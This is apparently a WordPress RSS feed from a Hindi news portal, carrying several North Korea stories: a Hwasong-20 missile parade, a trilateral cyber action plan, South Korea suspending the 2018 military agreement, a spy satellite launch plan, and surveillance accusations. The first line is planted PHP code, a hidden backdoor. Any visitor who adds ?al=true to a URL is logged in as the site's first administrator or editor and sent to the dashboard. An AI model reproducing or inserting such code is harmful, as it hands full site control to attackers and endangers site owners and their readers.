// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); North Korea – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 11 Oct 2025 16:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 नॉर्थ कोरिया ने लॉन्च की सबसे ताकतवर ह्वासॉन्ग-20 मिसाइल, अमेरिका हुआ निशाने पर https://pratyushaashakinayikiran.com/?p=184986 Sat, 11 Oct 2025 16:39:00 +0000 https://pratyushaashakinayikiran.com/?p=184986 फियोंगयांग

उत्तर कोरिया ने अपनी सबसे ताकतवर परमाणु मिसाइल ह्वासॉन्ग-20 का अनावरण किया. ये सॉलिड-फ्यूल वाली इंटरकॉन्टिनेंटल बैलिस्टिक मिसाइल (ICBM) है, जो पूरे अमेरिका को निशाना बना सकती है. किम जोंग उन ने इसे सबसे शक्तिशाली न्यूक सिस्टम बताया, जो पूरे अमेरिका को आसानी से हिट कर सकता है. नॉर्थ कोरिया ने 10 अक्टूबर को वर्कर्स पार्टी के 80वें स्थापना दिवस पर सैन्य परेड में पेश किया. रूस और चीन के प्रतिनिधि भी मौजूद थे.

ह्वासॉन्ग-20: तीन चरणों वाली 'मॉन्स्टर' मिसाइल

ह्वासॉन्ग-20 उत्तर कोरिया की सबसे एडवांस्ड ICBM है. ये तीन चरणों वाली सॉलिड-फ्यूल मिसाइल है, जो लॉन्च के बाद तेजी से ऊंचाई पकड़ लेती है. इसका मुख्य फीचर नया हाई-थ्रस्ट सॉलिड-फ्यूल इंजन है, जो ह्वासॉन्ग-18 से 40% ज्यादा ताकतवर (करीब 1,970 kN थ्रस्ट) है. इससे मिसाइल ज्यादा तेज और लंबी दूरी तय कर सकती है.

    रेंज: 15,000 किलोमीटर तक – अमेरिका के किसी भी कोने को कवर.
    वॉरहेड: मल्टीपल इंडिपेंडेंटली टारगेटेबल री-एंट्री व्हीकल्स (MIRV) ले जा सकती है, यानी एक मिसाइल से कई परमाणु हेड्स अलग-अलग टारगेट हिट करेंगे.
    लंबाई: करीब 25 मीटर (अनुमानित), वजन 80 टन से ज्यादा.
    लॉन्च: मोबाइल लॉन्चर से, जो छिपाना आसान.

किम जोंग उन ने परेड में कहा कि ये हमारा सबसे ताकतवर न्यूक हथियार है. ये मिसाइल अभी टेस्ट नहीं हुई, लेकिन विशेषज्ञ कहते हैं कि ये ह्वासॉन्ग-18 से कहीं बेहतर है. सॉलिड फ्यूल से इसे तुरंत लॉन्च किया जा सकता है, जो चेतावनी के बिना हमला संभव बनाता है.

परेड का नजारा: रूस-चीन के साथ 'शो ऑफ स्ट्रेंथ'

10 अक्टूबर को प्योंगयांग में भव्य सैन्य परेड हुई. हजारों सैनिक, टैंक और मिसाइलें दिखाई गईं. ह्वासॉन्ग-20 को पहली बार पर्दा हटाया गया. किम जोंग उन ने इसे अमेरिका के खिलाफ सबसे बड़ा हथियार बताया. रूस के डिप्टी फॉरेन मिनिस्टर और चीन के वाइस चेयरमैन मौजूद थे. ये दिखाता है कि उत्तर कोरिया रूस-चीन से करीब आ रहा. परेड में हाइपरसोनिक ग्लाइड व्हीकल भी दिखाया गया.
अमेरिका और दुनिया पर खतरा: क्यों चिंता?

ह्वासॉन्ग-20 अमेरिका के पूरे मुख्यभूमि (अलास्का से फ्लोरिडा तक) को निशाना बना सकती. MIRV से एक मिसाइल कई शहरों को हिट कर सकती. US पेंटागन ने कहा कि ये गंभीर खतरा है. उत्तर कोरिया के पास 50-60 परमाणु हेड्स हैं, जो बढ़ रहे हैं. रूस-चीन की मौजूदगी से ये एशिया में तनाव बढ़ाएगा. दक्षिण कोरिया और जापान भी चिंतित हैं. 

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एक साथ आए अमेरिका, जापान और दक्षिण कोरिया, क्या उत्तर कोरिया में तख्तापलट की तैयारी? https://pratyushaashakinayikiran.com/?p=67611 Sun, 08 Sep 2024 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=67611 वॉशिंगटन
अमेरिका, जापान और दक्षिण कोरिया ने उत्तर कोरिया के खिलाफ साइबर वारफेयर शुरू करने का फैसला किया है। इसमें किम जोंग उन के खिलाफ उत्तर कोरियाई नागरिकों में विद्रोह की भावना भरने का काम भी किया जाएगा। इसके अलावा उत्तर कोरियाई हैकर्स के खिलाफ भी एक मल्टीनेशनल साइबर एक्शन प्लान को लागू किया जाएगा। इसका प्राथमिक उद्देश्य उत्तर कोरिया के साइबर फ्रॉड के जरिए कमाई करने के रास्ते को बंद करना है। पश्चिमी देशों का दावा है कि उत्तर कोरिया दुनिया का सबसे बड़ा साइबर फ्रॉड सेंटर चलाता है, जिसे हैकर्स की एक भारी-भरकम टीम अंजाम देती है। इन पैसों का इस्तेमाल किम जोंग उन और उनके परिवार पर किया जाता है।
उत्तर कोरियाई साइबर फ्रॉड रोकने पर सहमति

अमेरिकी विदेश विभाग ने कहा कि तीनों देशों के राजनयिकों की तीसरी बैठक में साइबर फ्रॉड के जरिए पैसे इकट्ठा करने और उसे सैन्य खर्च में इस्तेमाल करने की उत्तर कोरिया की क्षमता को बाधित करने पर सहमति बनी है। यह बैठक तब हुई है, जब एफबीआई ने अमेरिकी प्रशासन को चेतावनी दी थी कि उत्तर कोरियाई हैकर्स की टीमें पैसे चुराने के लिए मैलवेयर का इस्तेमाल कर रही हैं। इसके लिए वे बैंकों, दूसरे वित्तीय संस्थानों और कंपनियों को निशाना बना रही हैं। वे क्रिप्टोकरेंसी व्यवसायों और प्लेटफार्मों में घुसपैठ करने का आक्रामक प्रयास भी कर रहे हैं।

बैठक में कौन-कौन हुए शामिल

तीनों देशों की इस बैठक का नेतृत्व सियोल के विदेश मंत्रालय में कोरियाई प्रायद्वीप नीति के डायरेक्टर जनरल ली जुन-इल, उत्तर कोरिया के लिए अमेरिकी उप विशेष प्रतिनिधि सेठ बेली और साइबर नीति के प्रभारी जापानी राजदूत नाओकी कुमागाई ने किया। कार्य समूह में लगभग 20 अमेरिकी, दक्षिण कोरियाई और जापानी सरकारी विभागों, मंत्रालयों और एजेंसियों के एजेंट शामिल थे।

उत्तर कोरिया के खिलाफ चलाएंगे इंफॉर्मेशन वारफेयर

अमेरिकी विदेश विभाग ने बताया, "वर्किंग ग्रुप के माध्यम से, अमेरिका, दक्षिण कोरिया और जापान तीनों देश एक साथ मिलकर कार्रवाइयों की एक लंबी सीरीज पर काम करना जारी रखेंगे, जो कैंप डेविड शिखर सम्मेलन में स्थापित ऐतिहासिक सहयोग को रेखांकित करता है। इसमें डीपीआरके (उत्तर कोरिया) के क्रिप्टोकरेंसी की चोरी को रोकने, उनके इंफॉर्मेशन टेक्नोलॉजी नेटवर्क को जाम करने, उत्तर कोरिया से पैदा होने वाले साइबर खतरे को खत्म करने को लेकर भागीदारों के साथ काम करने और क्षमता निर्माण के प्रयासों को बढ़ाने पर जोर दिया गया।"

किम जोंग पर निशाना साधेंगे तीनों देश

तीनों देश उत्तर कोरियाई लोगों के बीच सूचनाओं की पहुंच को सुगम करने, उन्हें दुनिया में हो रही घटनाओं की जानकारी देने और किम जोंग उन शासन के खिलाफ उकसाने को लेकर भी काम करेंगे। इसका उद्देश्य उत्तर कोरियाई नागरिकों को किम जोंग के शासन के खिलाफ उकसाना है, ताकि वह तानाशाही के खिलाफ आवाज उठा सकें। वर्तमान में एशिया में सिर्फ उत्तर कोरिया ही ऐसा देश है, जहां तानाशाही शासन है।

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दक्षिण कोरिया ने उत्तर कोरिया के साथ सैन्य समझौता स्थगित करने का फैसला लिया https://pratyushaashakinayikiran.com/?p=37987 Wed, 05 Jun 2024 10:47:00 +0000 https://pratyushaashakinayikiran.com/?p=37987 सियोल,

 दक्षिण कोरिया की सरकार ने उत्तर कोरिया के साथ एक विवादास्पद सैन्य समझौते को निलंबित करने को मंजूरी दे दी है। यह एक ऐसा कदम है जिससे वह उत्तर कोरिया के उकसावे पर सख्त प्रतिक्रिया दे सकेगा।

यह घटनाक्रम ऐसे समय में हुआ है जब हाल ही में दोनों प्रतिद्वंद्वी देशों के बीच दुश्मनी तेजी से बढ़ी है। इससे पहले दक्षिण कोरिया द्वारा कुछ पर्चे भेजे जाने के जवाब में उत्तर कोरिया ने सीमा पार कचरा ले जाने वाले गुब्बारे उड़ाए थे।

मंगलवार को दक्षिण कोरिया की कैबिनेट काउंसिल ने सीमा पर सैन्य तनाव को कम करने के लिए 2018 के अंतर-कोरियाई समझौते को निलंबित करने के उद्देश्य से एक प्रस्ताव पारित किया।

सरकारी अधिकारियों के अनुसार यह प्रस्ताव राष्ट्रपति यूं सूक येओल द्वारा हस्ताक्षर किए जाने के बाद औपचारिक रूप से प्रभावी होगा। वे संभवतः  देर शाम तक इस पर हस्ताक्षर करेंगे।

सुरक्षा परिषद ने कहा कि निलंबन से दक्षिण कोरिया को उत्तर कोरिया के साथ सीमा के पास सैन्य अभ्यास फिर से शुरू करने और उत्तर कोरिया के उकसावे पर प्रभावी, तत्काल प्रतिक्रिया देने की अनुमति मिलेगी। इसमें कहा गया है कि निलंबन पर एक प्रस्ताव मंजूरी के लिए मंगलवार को कैबिनेट काउंसिल में पेश किया जाएगा।

पर्यवेक्षकों का कहना है कि दक्षिण कोरिया को सीमावर्ती लाउडस्पीकरों से प्योंगयांग विरोधी प्रचार प्रसारण, के-पॉप गाने और बाहरी समाचारों को फिर से शुरू करने के लिए सौदे के निलंबन की आवश्यकता है। उनका कहना है कि इस तरह के प्रसारण पहले सख्ती से नियंत्रित उत्तर में प्रसारित हो चुके हैं, जहां के 26 मिलियन लोगों में से अधिकांश को विदेशी समाचारों तक आधिकारिक पहुंच की अनुमति नहीं है।

तत्कालीन उदारवादी दक्षिण कोरियाई राष्ट्रपति मून जे-इन और उत्तर कोरियाई नेता किम जोंग उन के बीच सुलह की एक संक्षिप्त अवधि के दौरान हुए 2018 के समझौते के अनुसार, कोरिया को एक-दूसरे के खिलाफ सभी शत्रुतापूर्ण कृत्यों को रोकने की आवश्यकता है, जिसमें प्रचार प्रसारण और पत्रक अभियान भी शामिल हैं।

लेकिन समझौते में स्पष्ट रूप से यह नहीं कहा गया है कि नागरिक पत्रक पर भी प्रतिबंध लगाया जाना चाहिए। इससे दक्षिण कोरियाई कार्यकर्ताओं को प्योंगयांग विरोधी पर्चे, दक्षिण कोरियाई नाटकों और विश्व समाचारों वाली यूएसबी स्टिक और उत्तर कोरिया में अमेरिकी डॉलर गिराने के लिए गुब्बारे उड़ाने की अनुमति मिल गई है। इस तरह के प्रचार अभियानों से क्रोधित होकर, उत्तर कोरिया ने पहले आने वाले गुब्बारों पर गोलीबारी की थी और उत्तर में एक दक्षिण कोरियाई निर्मित, खाली अंतर-कोरियाई संपर्क कार्यालय को नष्ट कर दिया था।

 

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उत्तर कोरिया की रॉकेट प्रक्षेपण की योजना, दूसरे सैन्य जासूसी उपग्रह भेजे जाने की संभावना https://pratyushaashakinayikiran.com/?p=35072 Tue, 28 May 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=35072 सियोल

 उत्तर कोरिया ने अगले सप्ताह की शुरुआत में एक रॉकेट प्रक्षेपित करने की अपनी योजना की घोषणा की जिसके जरिए वह संभवत: अपने दूसरे सैन्य जासूसी उपग्रह अंतरिक्ष में पहुंचाएगा। उत्तर कोरिया के पड़ोसियों दक्षिण कोरिया एवं जापान ने इस घोषणा की निंदा की है।

दक्षिण कोरिया के राष्ट्रपति यून सुक-योल, चीन के प्रधानमंत्री ली क्विंग और जापान के प्रधानमंत्री फुमियो किशिदा ने चार साल से अधिक समय में अपनी पहली त्रिपक्षीय बैठक के लिए सियोल में मुलाकात की, तभी उत्तर कोरिया के संबंध में यह जानकारी मिली।

जापान के तट रक्षक ने बताया कि उसे उत्तर कोरिया ने ‘उपग्रह रॉकेट’ के तय प्रक्षेपण के बारे में सूचित किया है जिसमें सोमवार से तीन जून की आधी रात तक कोरियाई प्रायद्वीप एवं चीन के बीच के जलक्षेत्र और फिलीपीन द्वीप लुजोन के पूर्व में सुरक्षा बरतने को लेकर सचेत किया गया है।

उत्तर कोरिया जापान को अपने प्रक्षेपण की जानकारी देता है क्योंकि जापान का तट रक्षक पूर्वी एशिया में समुद्री सुरक्षा जानकारी का समन्वय और वितरण करता है।

जापान के प्रधानमंत्री फुमियो किशिदा के कार्यालय ने बताया कि किशिदा ने अधिकारियों को निर्देश दिया है कि वे उत्तर कोरिया से प्रक्षेपण नहीं करने का अनुरोध करें और किसी भी आपात स्थिति में पर्याप्त कदम उठाने में अमेरिका, दक्षिण कोरिया और अन्य देशों के साथ सहयोग करें।

ऐसा माना जा रहा है कि यह सूचना उत्तर कोरिया द्वारा अपने दूसरे सैन्य जासूसी उपग्रह को अंतरिक्ष में प्रक्षेपित करने के प्रयास को दर्शाती है। दक्षिण कोरिया की सेना ने शुक्रवार को कहा था कि उसे ऐसे संकेत मिले हैं कि उत्तर कोरिया, उत्तर-पश्चिम में अपने प्रमुख टोंगचांगरी प्रक्षेपण केंद्र से एक जासूसी उपग्रह प्रक्षेपण करने की तैयारी कर रहा है।

उत्तर कोरिया ने अमेरिकी नेतृत्व वाले सैन्य खतरों से निपटने के लिए अंतरिक्ष-आधारित निगरानी नेटवर्क बनाने के अपने प्रयासों के तहत पिछले नवंबर में अपना पहला सैन्य ‘टोही’ उपग्रह कक्षा में भेजा था।

संयुक्त राष्ट्र ने उत्तर कोरिया के उपग्रह प्रक्षेपित करने पर प्रतिबंध लगा रखा है क्योंकि उसका मानना है कि इसकी आड़ में उत्तर कोरिया लंबी दूरी की अपनी मिसाइल प्रौद्योगिकी का परीक्षण कर रहा है। उत्तर कोरिया का कहना है कि उसे उपग्रहों को प्रक्षेपित करने और मिसाइल का परीक्षण करने का अधिकार है। उसका कहना है कि जासूसी उपग्रह उसे अमेरिका और दक्षिण कोरिया की गतिविधियों पर बेहतर तरीके से नजर रखने और परमाणु हथियार ले जाने में सक्षम मिसाइल की सटीकता से हमला करने की क्षमता बढ़ाने में मदद करेंगे।

यून ने किशिदा और ली के साथ बैठक की शुरुआत में कहा, ‘‘बैलिस्टिक मिसाइल प्रौद्योगिकी का उपयोग करके किया गया (उत्तर कोरिया का) हर प्रक्षेपण संयुक्त राष्ट्र सुरक्षा परिषद के प्रस्तावों का सीधे तौर पर उल्लंघन करेगा और क्षेत्र एवं दुनिया की शांति एवं सुरक्षा को कमजोर करेगा।’’

किशिदा ने कहा कि उन्होंने उत्तर कोरिया से प्रक्षेपण योजना रद्द करने का आग्रह किया। चीन उत्तर कोरिया का सहयोगी है और ली ने उत्तर कोरियाई प्रक्षेपण योजना का उल्लेख नहीं किया। जापान, दक्षिण कोरिया और अमेरिका के वरिष्ठ राजनयिक सोमवार को फोन पर हुई बातचीत के दौरान उत्तर कोरिया से प्रक्षेपण रद्द करने का आग्रह करने पर सहमत हुए।

 

 

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अमेरिका-दक्षिण कोरिया पर निगरानी गतिविधियों को बढ़ाने का आरोप, उत्तर कोरिया ने पलटवार की दी चेतावनी https://pratyushaashakinayikiran.com/?p=34459 Sun, 26 May 2024 14:15:00 +0000 https://pratyushaashakinayikiran.com/?p=34459 सोल.

उत्तरी कोरिया ने अमेरिका और दक्षिण कोरिया पर अंतर कोरियाई सीमा पर निगरानी गतिविधियों को बढ़ाने का आरोप लगाया है। इसी के साथ उत्तर कोरिया ने चेतावनी भी दी कि देश की संप्रभुता और सुरक्षा का उल्लंघन होने पर वह इसके खिलाफ जवाबी कार्रवाई जरूर करेगा। उत्तर कोरिया के रक्षा मंत्री किम गैंग-Il ने कहा कि अमेरिका और दक्षिण कोरिया की कठपुतली वायुसेना पूरे दिन बहुत ही कम समय के अंतराल पर हवाई जासूसी गतिविधियों को अंजाम दे रहे हैं।

किम ने आगे कहा, जब देश की संप्रभुता और सुरक्षा को खतरा होगा, तो हम तुरंत कार्रवाई करेंगे। उन्होंने दक्षिण कोरिया की नौसेना और तट रक्षक पर समुद्री सीमा का उल्लंघन करने और सैन्य तनाव बढ़ाने का भी आरोप लगाया है। किम ने दावा किया कि 13 से 24 मई के बीच अमेरिका ने कोरियाई प्रायद्वीप के ऊपर 16 आरसी-135 और यू-2एस जासूसी विमान और आरक्यू-4बी ड्रोन उड़ाया। इसी के साथ उन्होंने दक्षिण कोरिया से गुब्बारों में भेजे गए पर्चों की भी आलोचना करते हुए इसे खतरनाक भड़काऊ हरकत बताया है। 

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